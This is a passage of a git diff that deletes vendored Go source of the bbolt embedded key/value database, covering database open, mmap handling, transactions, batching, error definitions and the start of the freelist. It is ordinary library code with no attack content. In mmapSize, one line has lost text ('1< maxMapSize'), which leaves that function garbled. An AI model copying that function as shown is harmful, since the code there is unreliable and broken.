pageSize int - opened bool - rwtx *Tx - txs []*Tx - stats Stats - - freelist *freelist - freelistLoad sync.Once - - pagePool sync.Pool - - batchMu sync.Mutex - batch *batch - - rwlock sync.Mutex // Allows only one writer at a time. - metalock sync.Mutex // Protects meta page access. - mmaplock sync.RWMutex // Protects mmap access during remapping. - statlock sync.RWMutex // Protects stats access. - - ops struct { - writeAt func(b []byte, off int64) (n int, err error) - } - - // Read only mode. - // When true, Update() and Begin(true) return ErrDatabaseReadOnly immediately. - readOnly bool -} - -// Path returns the path to currently open database file. -func (db *DB) Path() string { - return db.path -} - -// GoString returns the Go string representation of the database. -func (db *DB) GoString() string { - return fmt.Sprintf("bolt.DB{path:%q}", db.path) -} - -// String returns the string representation of the database. -func (db *DB) String() string { - return fmt.Sprintf("DB<%q>", db.path) -} - -// Open creates and opens a database at the given path. -// If the file does not exist then it will be created automatically. -// Passing in nil options will cause Bolt to open the database with the default options. -func Open(path string, mode os.FileMode, options *Options) (*DB, error) { - db := &DB{ - opened: true, - } - // Set default options if no options are provided. - if options == nil { - options = DefaultOptions - } - db.NoSync = options.NoSync - db.NoGrowSync = options.NoGrowSync - db.MmapFlags = options.MmapFlags - db.NoFreelistSync = options.NoFreelistSync - db.FreelistType = options.FreelistType - - // Set default values for later DB operations. - db.MaxBatchSize = DefaultMaxBatchSize - db.MaxBatchDelay = DefaultMaxBatchDelay - db.AllocSize = DefaultAllocSize - - flag := os.O_RDWR - if options.ReadOnly { - flag = os.O_RDONLY - db.readOnly = true - } - - db.openFile = options.OpenFile - if db.openFile == nil { - db.openFile = os.OpenFile - } - - // Open data file and separate sync handler for metadata writes. - var err error - if db.file, err = db.openFile(path, flag|os.O_CREATE, mode); err != nil { - _ = db.close() - return nil, err - } - db.path = db.file.Name() - - // Lock file so that other processes using Bolt in read-write mode cannot - // use the database at the same time. This would cause corruption since - // the two processes would write meta pages and free pages separately. - // The database file is locked exclusively (only one process can grab the lock) - // if !options.ReadOnly. - // The database file is locked using the shared lock (more than one process may - // hold a lock at the same time) otherwise (options.ReadOnly is set). - if err := flock(db, !db.readOnly, options.Timeout); err != nil { - _ = db.close() - return nil, err - } - - // Default values for test hooks - db.ops.writeAt = db.file.WriteAt - - if db.pageSize = options.PageSize; db.pageSize == 0 { - // Set the default page size to the OS page size. - db.pageSize = defaultPageSize - } - - // Initialize the database if it doesn't exist. - if info, err := db.file.Stat(); err != nil { - _ = db.close() - return nil, err - } else if info.Size() == 0 { - // Initialize new files with meta pages. - if err := db.init(); err != nil { - // clean up file descriptor on initialization fail - _ = db.close() - return nil, err - } - } else { - // Read the first meta page to determine the page size. - var buf [0x1000]byte - // If we can't read the page size, but can read a page, assume - // it's the same as the OS or one given -- since that's how the - // page size was chosen in the first place. - // - // If the first page is invalid and this OS uses a different - // page size than what the database was created with then we - // are out of luck and cannot access the database. - // - // TODO: scan for next page - if bw, err := db.file.ReadAt(buf[:], 0); err == nil && bw == len(buf) { - if m := db.pageInBuffer(buf[:], 0).meta(); m.validate() == nil { - db.pageSize = int(m.pageSize) - } - } else { - _ = db.close() - return nil, ErrInvalid - } - } - - // Initialize page pool. - db.pagePool = sync.Pool{ - New: func() interface{} { - return make([]byte, db.pageSize) - }, - } - - // Memory map the data file. - if err := db.mmap(options.InitialMmapSize); err != nil { - _ = db.close() - return nil, err - } - - if db.readOnly { - return db, nil - } - - db.loadFreelist() - - // Flush freelist when transitioning from no sync to sync so - // NoFreelistSync unaware boltdb can open the db later. - if !db.NoFreelistSync && !db.hasSyncedFreelist() { - tx, err := db.Begin(true) - if tx != nil { - err = tx.Commit() - } - if err != nil { - _ = db.close() - return nil, err - } - } - - // Mark the database as opened and return. - return db, nil -} - -// loadFreelist reads the freelist if it is synced, or reconstructs it -// by scanning the DB if it is not synced. It assumes there are no -// concurrent accesses being made to the freelist. -func (db *DB) loadFreelist() { - db.freelistLoad.Do(func() { - db.freelist = newFreelist(db.FreelistType) - if !db.hasSyncedFreelist() { - // Reconstruct free list by scanning the DB. - db.freelist.readIDs(db.freepages()) - } else { - // Read free list from freelist page. - db.freelist.read(db.page(db.meta().freelist)) - } - db.stats.FreePageN = db.freelist.free_count() - }) -} - -func (db *DB) hasSyncedFreelist() bool { - return db.meta().freelist != pgidNoFreelist -} - -// mmap opens the underlying memory-mapped file and initializes the meta references. -// minsz is the minimum size that the new mmap can be. -func (db *DB) mmap(minsz int) error { - db.mmaplock.Lock() - defer db.mmaplock.Unlock() - - info, err := db.file.Stat() - if err != nil { - return fmt.Errorf("mmap stat error: %s", err) - } else if int(info.Size()) < db.pageSize*2 { - return fmt.Errorf("file size too small") - } - - // Ensure the size is at least the minimum size. - var size = int(info.Size()) - if size < minsz { - size = minsz - } - size, err = db.mmapSize(size) - if err != nil { - return err - } - - // Dereference all mmap references before unmapping. - if db.rwtx != nil { - db.rwtx.root.dereference() - } - - // Unmap existing data before continuing. - if err := db.munmap(); err != nil { - return err - } - - // Memory-map the data file as a byte slice. - if err := mmap(db, size); err != nil { - return err - } - - // Save references to the meta pages. - db.meta0 = db.page(0).meta() - db.meta1 = db.page(1).meta() - - // Validate the meta pages. We only return an error if both meta pages fail - // validation, since meta0 failing validation means that it wasn't saved - // properly -- but we can recover using meta1. And vice-versa. - err0 := db.meta0.validate() - err1 := db.meta1.validate() - if err0 != nil && err1 != nil { - return err0 - } - - return nil -} - -// munmap unmaps the data file from memory. -func (db *DB) munmap() error { - if err := munmap(db); err != nil { - return fmt.Errorf("unmap error: " + err.Error()) - } - return nil -} - -// mmapSize determines the appropriate size for the mmap given the current size -// of the database. The minimum size is 32KB and doubles until it reaches 1GB. -// Returns an error if the new mmap size is greater than the max allowed. -func (db *DB) mmapSize(size int) (int, error) { - // Double the size from 32KB until 1GB. - for i := uint(15); i <= 30; i++ { - if size <= 1< maxMapSize { - return 0, fmt.Errorf("mmap too large") - } - - // If larger than 1GB then grow by 1GB at a time. - sz := int64(size) - if remainder := sz % int64(maxMmapStep); remainder > 0 { - sz += int64(maxMmapStep) - remainder - } - - // Ensure that the mmap size is a multiple of the page size. - // This should always be true since we're incrementing in MBs. - pageSize := int64(db.pageSize) - if (sz % pageSize) != 0 { - sz = ((sz / pageSize) + 1) * pageSize - } - - // If we've exceeded the max size then only grow up to the max size. - if sz > maxMapSize { - sz = maxMapSize - } - - return int(sz), nil -} - -// init creates a new database file and initializes its meta pages. -func (db *DB) init() error { - // Create two meta pages on a buffer. - buf := make([]byte, db.pageSize*4) - for i := 0; i < 2; i++ { - p := db.pageInBuffer(buf[:], pgid(i)) - p.id = pgid(i) - p.flags = metaPageFlag - - // Initialize the meta page. - m := p.meta() - m.magic = magic - m.version = version - m.pageSize = uint32(db.pageSize) - m.freelist = 2 - m.root = bucket{root: 3} - m.pgid = 4 - m.txid = txid(i) - m.checksum = m.sum64() - } - - // Write an empty freelist at page 3. - p := db.pageInBuffer(buf[:], pgid(2)) - p.id = pgid(2) - p.flags = freelistPageFlag - p.count = 0 - - // Write an empty leaf page at page 4. - p = db.pageInBuffer(buf[:], pgid(3)) - p.id = pgid(3) - p.flags = leafPageFlag - p.count = 0 - - // Write the buffer to our data file. - if _, err := db.ops.writeAt(buf, 0); err != nil { - return err - } - if err := fdatasync(db); err != nil { - return err - } - - return nil -} - -// Close releases all database resources. -// It will block waiting for any open transactions to finish -// before closing the database and returning. -func (db *DB) Close() error { - db.rwlock.Lock() - defer db.rwlock.Unlock() - - db.metalock.Lock() - defer db.metalock.Unlock() - - db.mmaplock.Lock() - defer db.mmaplock.Unlock() - - return db.close() -} - -func (db *DB) close() error { - if !db.opened { - return nil - } - - db.opened = false - - db.freelist = nil - - // Clear ops. - db.ops.writeAt = nil - - // Close the mmap. - if err := db.munmap(); err != nil { - return err - } - - // Close file handles. - if db.file != nil { - // No need to unlock read-only file. - if !db.readOnly { - // Unlock the file. - if err := funlock(db); err != nil { - log.Printf("bolt.Close(): funlock error: %s", err) - } - } - - // Close the file descriptor. - if err := db.file.Close(); err != nil { - return fmt.Errorf("db file close: %s", err) - } - db.file = nil - } - - db.path = "" - return nil -} - -// Begin starts a new transaction. -// Multiple read-only transactions can be used concurrently but only one -// write transaction can be used at a time. Starting multiple write transactions -// will cause the calls to block and be serialized until the current write -// transaction finishes. -// -// Transactions should not be dependent on one another. Opening a read -// transaction and a write transaction in the same goroutine can cause the -// writer to deadlock because the database periodically needs to re-mmap itself -// as it grows and it cannot do that while a read transaction is open. -// -// If a long running read transaction (for example, a snapshot transaction) is -// needed, you might want to set DB.InitialMmapSize to a large enough value -// to avoid potential blocking of write transaction. -// -// IMPORTANT: You must close read-only transactions after you are finished or -// else the database will not reclaim old pages. -func (db *DB) Begin(writable bool) (*Tx, error) { - if writable { - return db.beginRWTx() - } - return db.beginTx() -} - -func (db *DB) beginTx() (*Tx, error) { - // Lock the meta pages while we initialize the transaction. We obtain - // the meta lock before the mmap lock because that's the order that the - // write transaction will obtain them. - db.metalock.Lock() - - // Obtain a read-only lock on the mmap. When the mmap is remapped it will - // obtain a write lock so all transactions must finish before it can be - // remapped. - db.mmaplock.RLock() - - // Exit if the database is not open yet. - if !db.opened { - db.mmaplock.RUnlock() - db.metalock.Unlock() - return nil, ErrDatabaseNotOpen - } - - // Create a transaction associated with the database. - t := &Tx{} - t.init(db) - - // Keep track of transaction until it closes. - db.txs = append(db.txs, t) - n := len(db.txs) - - // Unlock the meta pages. - db.metalock.Unlock() - - // Update the transaction stats. - db.statlock.Lock() - db.stats.TxN++ - db.stats.OpenTxN = n - db.statlock.Unlock() - - return t, nil -} - -func (db *DB) beginRWTx() (*Tx, error) { - // If the database was opened with Options.ReadOnly, return an error. - if db.readOnly { - return nil, ErrDatabaseReadOnly - } - - // Obtain writer lock. This is released by the transaction when it closes. - // This enforces only one writer transaction at a time. - db.rwlock.Lock() - - // Once we have the writer lock then we can lock the meta pages so that - // we can set up the transaction. - db.metalock.Lock() - defer db.metalock.Unlock() - - // Exit if the database is not open yet. - if !db.opened { - db.rwlock.Unlock() - return nil, ErrDatabaseNotOpen - } - - // Create a transaction associated with the database. - t := &Tx{writable: true} - t.init(db) - db.rwtx = t - db.freePages() - return t, nil -} - -// freePages releases any pages associated with closed read-only transactions. -func (db *DB) freePages() { - // Free all pending pages prior to earliest open transaction. - sort.Sort(txsById(db.txs)) - minid := txid(0xFFFFFFFFFFFFFFFF) - if len(db.txs) > 0 { - minid = db.txs[0].meta.txid - } - if minid > 0 { - db.freelist.release(minid - 1) - } - // Release unused txid extents. - for _, t := range db.txs { - db.freelist.releaseRange(minid, t.meta.txid-1) - minid = t.meta.txid + 1 - } - db.freelist.releaseRange(minid, txid(0xFFFFFFFFFFFFFFFF)) - // Any page both allocated and freed in an extent is safe to release. -} - -type txsById []*Tx - -func (t txsById) Len() int { return len(t) } -func (t txsById) Swap(i, j int) { t[i], t[j] = t[j], t[i] } -func (t txsById) Less(i, j int) bool { return t[i].meta.txid < t[j].meta.txid } - -// removeTx removes a transaction from the database. -func (db *DB) removeTx(tx *Tx) { - // Release the read lock on the mmap. - db.mmaplock.RUnlock() - - // Use the meta lock to restrict access to the DB object. - db.metalock.Lock() - - // Remove the transaction. - for i, t := range db.txs { - if t == tx { - last := len(db.txs) - 1 - db.txs[i] = db.txs[last] - db.txs[last] = nil - db.txs = db.txs[:last] - break - } - } - n := len(db.txs) - - // Unlock the meta pages. - db.metalock.Unlock() - - // Merge statistics. - db.statlock.Lock() - db.stats.OpenTxN = n - db.stats.TxStats.add(&tx.stats) - db.statlock.Unlock() -} - -// Update executes a function within the context of a read-write managed transaction. -// If no error is returned from the function then the transaction is committed. -// If an error is returned then the entire transaction is rolled back. -// Any error that is returned from the function or returned from the commit is -// returned from the Update() method. -// -// Attempting to manually commit or rollback within the function will cause a panic. -func (db *DB) Update(fn func(*Tx) error) error { - t, err := db.Begin(true) - if err != nil { - return err - } - - // Make sure the transaction rolls back in the event of a panic. - defer func() { - if t.db != nil { - t.rollback() - } - }() - - // Mark as a managed tx so that the inner function cannot manually commit. - t.managed = true - - // If an error is returned from the function then rollback and return error. - err = fn(t) - t.managed = false - if err != nil { - _ = t.Rollback() - return err - } - - return t.Commit() -} - -// View executes a function within the context of a managed read-only transaction. -// Any error that is returned from the function is returned from the View() method. -// -// Attempting to manually rollback within the function will cause a panic. -func (db *DB) View(fn func(*Tx) error) error { - t, err := db.Begin(false) - if err != nil { - return err - } - - // Make sure the transaction rolls back in the event of a panic. - defer func() { - if t.db != nil { - t.rollback() - } - }() - - // Mark as a managed tx so that the inner function cannot manually rollback. - t.managed = true - - // If an error is returned from the function then pass it through. - err = fn(t) - t.managed = false - if err != nil { - _ = t.Rollback() - return err - } - - return t.Rollback() -} - -// Batch calls fn as part of a batch. It behaves similar to Update, -// except: -// -// 1. concurrent Batch calls can be combined into a single Bolt -// transaction. -// -// 2. the function passed to Batch may be called multiple times, -// regardless of whether it returns error or not. -// -// This means that Batch function side effects must be idempotent and -// take permanent effect only after a successful return is seen in -// caller. -// -// The maximum batch size and delay can be adjusted with DB.MaxBatchSize -// and DB.MaxBatchDelay, respectively. -// -// Batch is only useful when there are multiple goroutines calling it. -func (db *DB) Batch(fn func(*Tx) error) error { - errCh := make(chan error, 1) - - db.batchMu.Lock() - if (db.batch == nil) || (db.batch != nil && len(db.batch.calls) >= db.MaxBatchSize) { - // There is no existing batch, or the existing batch is full; start a new one. - db.batch = &batch{ - db: db, - } - db.batch.timer = time.AfterFunc(db.MaxBatchDelay, db.batch.trigger) - } - db.batch.calls = append(db.batch.calls, call{fn: fn, err: errCh}) - if len(db.batch.calls) >= db.MaxBatchSize { - // wake up batch, it's ready to run - go db.batch.trigger() - } - db.batchMu.Unlock() - - err := <-errCh - if err == trySolo { - err = db.Update(fn) - } - return err -} - -type call struct { - fn func(*Tx) error - err chan<- error -} - -type batch struct { - db *DB - timer *time.Timer - start sync.Once - calls []call -} - -// trigger runs the batch if it hasn't already been run. -func (b *batch) trigger() { - b.start.Do(b.run) -} - -// run performs the transactions in the batch and communicates results -// back to DB.Batch. -func (b *batch) run() { - b.db.batchMu.Lock() - b.timer.Stop() - // Make sure no new work is added to this batch, but don't break - // other batches. - if b.db.batch == b { - b.db.batch = nil - } - b.db.batchMu.Unlock() - -retry: - for len(b.calls) > 0 { - var failIdx = -1 - err := b.db.Update(func(tx *Tx) error { - for i, c := range b.calls { - if err := safelyCall(c.fn, tx); err != nil { - failIdx = i - return err - } - } - return nil - }) - - if failIdx >= 0 { - // take the failing transaction out of the batch. it's - // safe to shorten b.calls here because db.batch no longer - // points to us, and we hold the mutex anyway. - c := b.calls[failIdx] - b.calls[failIdx], b.calls = b.calls[len(b.calls)-1], b.calls[:len(b.calls)-1] - // tell the submitter re-run it solo, continue with the rest of the batch - c.err <- trySolo - continue retry - } - - // pass success, or bolt internal errors, to all callers - for _, c := range b.calls { - c.err <- err - } - break retry - } -} - -// trySolo is a special sentinel error value used for signaling that a -// transaction function should be re-run. It should never be seen by -// callers. -var trySolo = errors.New("batch function returned an error and should be re-run solo") - -type panicked struct { - reason interface{} -} - -func (p panicked) Error() string { - if err, ok := p.reason.(error); ok { - return err.Error() - } - return fmt.Sprintf("panic: %v", p.reason) -} - -func safelyCall(fn func(*Tx) error, tx *Tx) (err error) { - defer func() { - if p := recover(); p != nil { - err = panicked{p} - } - }() - return fn(tx) -} - -// Sync executes fdatasync() against the database file handle. -// -// This is not necessary under normal operation, however, if you use NoSync -// then it allows you to force the database file to sync against the disk. -func (db *DB) Sync() error { return fdatasync(db) } - -// Stats retrieves ongoing performance stats for the database. -// This is only updated when a transaction closes. -func (db *DB) Stats() Stats { - db.statlock.RLock() - defer db.statlock.RUnlock() - return db.stats -} - -// This is for internal access to the raw data bytes from the C cursor, use -// carefully, or not at all. -func (db *DB) Info() *Info { - return &Info{uintptr(unsafe.Pointer(&db.data[0])), db.pageSize} -} - -// page retrieves a page reference from the mmap based on the current page size. -func (db *DB) page(id pgid) *page { - pos := id * pgid(db.pageSize) - return (*page)(unsafe.Pointer(&db.data[pos])) -} - -// pageInBuffer retrieves a page reference from a given byte array based on the current page size. -func (db *DB) pageInBuffer(b []byte, id pgid) *page { - return (*page)(unsafe.Pointer(&b[id*pgid(db.pageSize)])) -} - -// meta retrieves the current meta page reference. -func (db *DB) meta() *meta { - // We have to return the meta with the highest txid which doesn't fail - // validation. Otherwise, we can cause errors when in fact the database is - // in a consistent state. metaA is the one with the higher txid. - metaA := db.meta0 - metaB := db.meta1 - if db.meta1.txid > db.meta0.txid { - metaA = db.meta1 - metaB = db.meta0 - } - - // Use higher meta page if valid. Otherwise fallback to previous, if valid. - if err := metaA.validate(); err == nil { - return metaA - } else if err := metaB.validate(); err == nil { - return metaB - } - - // This should never be reached, because both meta1 and meta0 were validated - // on mmap() and we do fsync() on every write. - panic("bolt.DB.meta(): invalid meta pages") -} - -// allocate returns a contiguous block of memory starting at a given page. -func (db *DB) allocate(txid txid, count int) (*page, error) { - // Allocate a temporary buffer for the page. - var buf []byte - if count == 1 { - buf = db.pagePool.Get().([]byte) - } else { - buf = make([]byte, count*db.pageSize) - } - p := (*page)(unsafe.Pointer(&buf[0])) - p.overflow = uint32(count - 1) - - // Use pages from the freelist if they are available. - if p.id = db.freelist.allocate(txid, count); p.id != 0 { - return p, nil - } - - // Resize mmap() if we're at the end. - p.id = db.rwtx.meta.pgid - var minsz = int((p.id+pgid(count))+1) * db.pageSize - if minsz >= db.datasz { - if err := db.mmap(minsz); err != nil { - return nil, fmt.Errorf("mmap allocate error: %s", err) - } - } - - // Move the page id high water mark. - db.rwtx.meta.pgid += pgid(count) - - return p, nil -} - -// grow grows the size of the database to the given sz. -func (db *DB) grow(sz int) error { - // Ignore if the new size is less than available file size. - if sz <= db.filesz { - return nil - } - - // If the data is smaller than the alloc size then only allocate what's needed. - // Once it goes over the allocation size then allocate in chunks. - if db.datasz < db.AllocSize { - sz = db.datasz - } else { - sz += db.AllocSize - } - - // Truncate and fsync to ensure file size metadata is flushed. - // https://github.com/boltdb/bolt/issues/284 - if !db.NoGrowSync && !db.readOnly { - if runtime.GOOS != "windows" { - if err := db.file.Truncate(int64(sz)); err != nil { - return fmt.Errorf("file resize error: %s", err) - } - } - if err := db.file.Sync(); err != nil { - return fmt.Errorf("file sync error: %s", err) - } - } - - db.filesz = sz - return nil -} - -func (db *DB) IsReadOnly() bool { - return db.readOnly -} - -func (db *DB) freepages() []pgid { - tx, err := db.beginTx() - defer func() { - err = tx.Rollback() - if err != nil { - panic("freepages: failed to rollback tx") - } - }() - if err != nil { - panic("freepages: failed to open read only tx") - } - - reachable := make(map[pgid]*page) - nofreed := make(map[pgid]bool) - ech := make(chan error) - go func() { - for e := range ech { - panic(fmt.Sprintf("freepages: failed to get all reachable pages (%v)", e)) - } - }() - tx.checkBucket(&tx.root, reachable, nofreed, ech) - close(ech) - - var fids []pgid - for i := pgid(2); i < db.meta().pgid; i++ { - if _, ok := reachable[i]; !ok { - fids = append(fids, i) - } - } - return fids -} - -// Options represents the options that can be set when opening a database. -type Options struct { - // Timeout is the amount of time to wait to obtain a file lock. - // When set to zero it will wait indefinitely. This option is only - // available on Darwin and Linux. - Timeout time.Duration - - // Sets the DB.NoGrowSync flag before memory mapping the file. - NoGrowSync bool - - // Do not sync freelist to disk. This improves the database write performance - // under normal operation, but requires a full database re-sync during recovery. - NoFreelistSync bool - - // FreelistType sets the backend freelist type. There are two options. Array which is simple but endures - // dramatic performance degradation if database is large and framentation in freelist is common. - // The alternative one is using hashmap, it is faster in almost all circumstances - // but it doesn't guarantee that it offers the smallest page id available. In normal case it is safe. - // The default type is array - FreelistType FreelistType - - // Open database in read-only mode. Uses flock(..., LOCK_SH |LOCK_NB) to - // grab a shared lock (UNIX). - ReadOnly bool - - // Sets the DB.MmapFlags flag before memory mapping the file. - MmapFlags int - - // InitialMmapSize is the initial mmap size of the database - // in bytes. Read transactions won't block write transaction - // if the InitialMmapSize is large enough to hold database mmap - // size. (See DB.Begin for more information) - // - // If <=0, the initial map size is 0. - // If initialMmapSize is smaller than the previous database size, - // it takes no effect. - InitialMmapSize int - - // PageSize overrides the default OS page size. - PageSize int - - // NoSync sets the initial value of DB.NoSync. Normally this can just be - // set directly on the DB itself when returned from Open(), but this option - // is useful in APIs which expose Options but not the underlying DB. - NoSync bool - - // OpenFile is used to open files. It defaults to os.OpenFile. This option - // is useful for writing hermetic tests. - OpenFile func(string, int, os.FileMode) (*os.File, error) -} - -// DefaultOptions represent the options used if nil options are passed into Open(). -// No timeout is used which will cause Bolt to wait indefinitely for a lock. -var DefaultOptions = &Options{ - Timeout: 0, - NoGrowSync: false, - FreelistType: FreelistArrayType, -} - -// Stats represents statistics about the database. -type Stats struct { - // Freelist stats - FreePageN int // total number of free pages on the freelist - PendingPageN int // total number of pending pages on the freelist - FreeAlloc int // total bytes allocated in free pages - FreelistInuse int // total bytes used by the freelist - - // Transaction stats - TxN int // total number of started read transactions - OpenTxN int // number of currently open read transactions - - TxStats TxStats // global, ongoing stats. -} - -// Sub calculates and returns the difference between two sets of database stats. -// This is useful when obtaining stats at two different points and time and -// you need the performance counters that occurred within that time span. -func (s *Stats) Sub(other *Stats) Stats { - if other == nil { - return *s - } - var diff Stats - diff.FreePageN = s.FreePageN - diff.PendingPageN = s.PendingPageN - diff.FreeAlloc = s.FreeAlloc - diff.FreelistInuse = s.FreelistInuse - diff.TxN = s.TxN - other.TxN - diff.TxStats = s.TxStats.Sub(&other.TxStats) - return diff -} - -type Info struct { - Data uintptr - PageSize int -} - -type meta struct { - magic uint32 - version uint32 - pageSize uint32 - flags uint32 - root bucket - freelist pgid - pgid pgid - txid txid - checksum uint64 -} - -// validate checks the marker bytes and version of the meta page to ensure it matches this binary. -func (m *meta) validate() error { - if m.magic != magic { - return ErrInvalid - } else if m.version != version { - return ErrVersionMismatch - } else if m.checksum != 0 && m.checksum != m.sum64() { - return ErrChecksum - } - return nil -} - -// copy copies one meta object to another. -func (m *meta) copy(dest *meta) { - *dest = *m -} - -// write writes the meta onto a page. -func (m *meta) write(p *page) { - if m.root.root >= m.pgid { - panic(fmt.Sprintf("root bucket pgid (%d) above high water mark (%d)", m.root.root, m.pgid)) - } else if m.freelist >= m.pgid && m.freelist != pgidNoFreelist { - // TODO: reject pgidNoFreeList if !NoFreelistSync - panic(fmt.Sprintf("freelist pgid (%d) above high water mark (%d)", m.freelist, m.pgid)) - } - - // Page id is either going to be 0 or 1 which we can determine by the transaction ID. - p.id = pgid(m.txid % 2) - p.flags |= metaPageFlag - - // Calculate the checksum. - m.checksum = m.sum64() - - m.copy(p.meta()) -} - -// generates the checksum for the meta. -func (m *meta) sum64() uint64 { - var h = fnv.New64a() - _, _ = h.Write((*[unsafe.Offsetof(meta{}.checksum)]byte)(unsafe.Pointer(m))[:]) - return h.Sum64() -} - -// _assert will panic with a given formatted message if the given condition is false. -func _assert(condition bool, msg string, v ...interface{}) { - if !condition { - panic(fmt.Sprintf("assertion failed: "+msg, v...)) - } -} diff --git a/vendor/go.etcd.io/bbolt/doc.go b/vendor/go.etcd.io/bbolt/doc.go deleted file mode 100644 index 95f25f01c6..0000000000 --- a/vendor/go.etcd.io/bbolt/doc.go +++ /dev/null @@ -1,44 +0,0 @@ -/* -package bbolt implements a low-level key/value store in pure Go. It supports -fully serializable transactions, ACID semantics, and lock-free MVCC with -multiple readers and a single writer. Bolt can be used for projects that -want a simple data store without the need to add large dependencies such as -Postgres or MySQL. - -Bolt is a single-level, zero-copy, B+tree data store. This means that Bolt is -optimized for fast read access and does not require recovery in the event of a -system crash. Transactions which have not finished committing will simply be -rolled back in the event of a crash. - -The design of Bolt is based on Howard Chu's LMDB database project. - -Bolt currently works on Windows, Mac OS X, and Linux. - - -Basics - -There are only a few types in Bolt: DB, Bucket, Tx, and Cursor. The DB is -a collection of buckets and is represented by a single file on disk. A bucket is -a collection of unique keys that are associated with values. - -Transactions provide either read-only or read-write access to the database. -Read-only transactions can retrieve key/value pairs and can use Cursors to -iterate over the dataset sequentially. Read-write transactions can create and -delete buckets and can insert and remove keys. Only one read-write transaction -is allowed at a time. - - -Caveats - -The database uses a read-only, memory-mapped data file to ensure that -applications cannot corrupt the database, however, this means that keys and -values returned from Bolt cannot be changed. Writing to a read-only byte slice -will cause Go to panic. - -Keys and values retrieved from the database are only valid for the life of -the transaction. When used outside the transaction, these byte slices can -point to different data or can point to invalid memory which will cause a panic. - - -*/ -package bbolt diff --git a/vendor/go.etcd.io/bbolt/errors.go b/vendor/go.etcd.io/bbolt/errors.go deleted file mode 100644 index 48758ca577..0000000000 --- a/vendor/go.etcd.io/bbolt/errors.go +++ /dev/null @@ -1,71 +0,0 @@ -package bbolt - -import "errors" - -// These errors can be returned when opening or calling methods on a DB. -var ( - // ErrDatabaseNotOpen is returned when a DB instance is accessed before it - // is opened or after it is closed. - ErrDatabaseNotOpen = errors.New("database not open") - - // ErrDatabaseOpen is returned when opening a database that is - // already open. - ErrDatabaseOpen = errors.New("database already open") - - // ErrInvalid is returned when both meta pages on a database are invalid. - // This typically occurs when a file is not a bolt database. - ErrInvalid = errors.New("invalid database") - - // ErrVersionMismatch is returned when the data file was created with a - // different version of Bolt. - ErrVersionMismatch = errors.New("version mismatch") - - // ErrChecksum is returned when either meta page checksum does not match. - ErrChecksum = errors.New("checksum error") - - // ErrTimeout is returned when a database cannot obtain an exclusive lock - // on the data file after the timeout passed to Open(). - ErrTimeout = errors.New("timeout") -) - -// These errors can occur when beginning or committing a Tx. -var ( - // ErrTxNotWritable is returned when performing a write operation on a - // read-only transaction. - ErrTxNotWritable = errors.New("tx not writable") - - // ErrTxClosed is returned when committing or rolling back a transaction - // that has already been committed or rolled back. - ErrTxClosed = errors.New("tx closed") - - // ErrDatabaseReadOnly is returned when a mutating transaction is started on a - // read-only database. - ErrDatabaseReadOnly = errors.New("database is in read-only mode") -) - -// These errors can occur when putting or deleting a value or a bucket. -var ( - // ErrBucketNotFound is returned when trying to access a bucket that has - // not been created yet. - ErrBucketNotFound = errors.New("bucket not found") - - // ErrBucketExists is returned when creating a bucket that already exists. - ErrBucketExists = errors.New("bucket already exists") - - // ErrBucketNameRequired is returned when creating a bucket with a blank name. - ErrBucketNameRequired = errors.New("bucket name required") - - // ErrKeyRequired is returned when inserting a zero-length key. - ErrKeyRequired = errors.New("key required") - - // ErrKeyTooLarge is returned when inserting a key that is larger than MaxKeySize. - ErrKeyTooLarge = errors.New("key too large") - - // ErrValueTooLarge is returned when inserting a value that is larger than MaxValueSize. - ErrValueTooLarge = errors.New("value too large") - - // ErrIncompatibleValue is returned when trying create or delete a bucket - // on an existing non-bucket key or when trying to create or delete a - // non-bucket key on an existing bucket key. - ErrIncompatibleValue = errors.New("incompatible value") -) diff --git a/vendor/go.etcd.io/bbolt/freelist.go b/vendor/go.etcd.io/bbolt/freelist.go deleted file mode 100644 index d441b69256..0000000000 --- a/vendor/go.etcd.io/bbolt/freelist.go +++ /dev/null @@ -1,413 +0,0 @@ -package bbolt - -import ( - "fmt" - "reflect" - "sort" - "unsafe" -) - -// txPending holds a list of pgids and corresponding allocation txns -// that are pending to be freed. -type txPending struct { - ids []pgid - alloctx []txid // txids allocating the ids - lastReleaseBegin txid // beginning txid of last matching releaseRange -} - -// pidSet holds the set of starting pgids which have the same span size -type pidSet map[pgid]struct{} - -// freelist represents a list of all pages that are available for allocation. -// It also tracks pages that have been freed but are still in use by open transactions. -type freelist struct { - freelistType FreelistType // freelist type - ids []pgid // all free and available free page ids. - allocs map[pgid]txid // mapping of txid that allocated a pgid. - pending map[txid]*txPending // mapping of soon-to-be free page ids by tx. - cache map[pgid]bool // fast lookup of all free and pending page ids. - freemaps map[uint64]pidSet // key is the size of continuous pages(span), value is a set which contains the starting pgids of same size - forwardMap map[pgid]uint64 // key is start pgid, value is its span size - backwardMap map[pgid]uint64 // key is end pgid, value is its span size - allocate func(txid txid, n int) pgid // the freelist allocate func - free_count func() int // the function which gives you free page number - mergeSpans func(ids pgids) // the mergeSpan func - getFreePageIDs func() []pgid // get free pgids func - readIDs func(pgids []pgid) // readIDs func reads list of pages and init the freelist -} - -// newFreelist returns an empty, initialized freelist. -func newFreelist(freelistType FreelistType) *freelist { - f := &freelist{ - freelistType: freelistType, - allocs: make(map[pgid]txid), - pending: make(map[txid]*txPending), - cache: make(map[pgid]bool), - freemaps: make(map[uint64]pidSet), - forwardMap: make(map[pgid]uint64), - backwardMap: make(map[pgid]uint64), - } - - if freelistType == FreelistMapType { - f.allocate = f.hashmapAllocate - f.free_count = f.hashmapFreeCount - f.mergeSpans = f.hashmapMergeSpans - f.getFreePageIDs = f.hashmapGetFreePageIDs - f.readIDs = f.hashmapReadIDs - } else { - f.allocate = f.arrayAllocate - f.free_count = f.arrayFreeCount - f.mergeSpans = f.arrayMergeSpans - f.getFreePageIDs = f.arrayGetFreePageIDs - f.readIDs = f.arrayReadIDs - } - - return f -} - -// size returns the size of the page after serialization. -func (f *freelist) size() int { - n := f.count() - if n >= 0xFFFF { - // The first element will be used to store the count. See freelist.write. - n++ - } - return int(pageHeaderSize) + (int(unsafe.Sizeof(pgid(0))) * n) -} - -// count returns count of pages on the freelist -func (f *freelist) count() int { - return f.free_count() + f.pending_count() -} - -// arrayFreeCount returns count of free pages(array version) -func (f *freelist) arrayFreeCount() int { - return len(f.ids) -} - -// pending_count returns count of pending pages -func (f *freelist) pending_count() int { - var count int - for _, txp := range f.pending { - count += len(txp.ids) - } - return count -} - -// copyallunsafe copies a list of all free ids and all pending ids in one sorted list. -// f.count returns the minimum length required for dst. -func (f *freelist) copyallunsafe(dstptr unsafe.Pointer) { // dstptr is []pgid data pointer - m := make(pgids, 0, f.pending_count()) - for _, txp := range f.pending { - m = 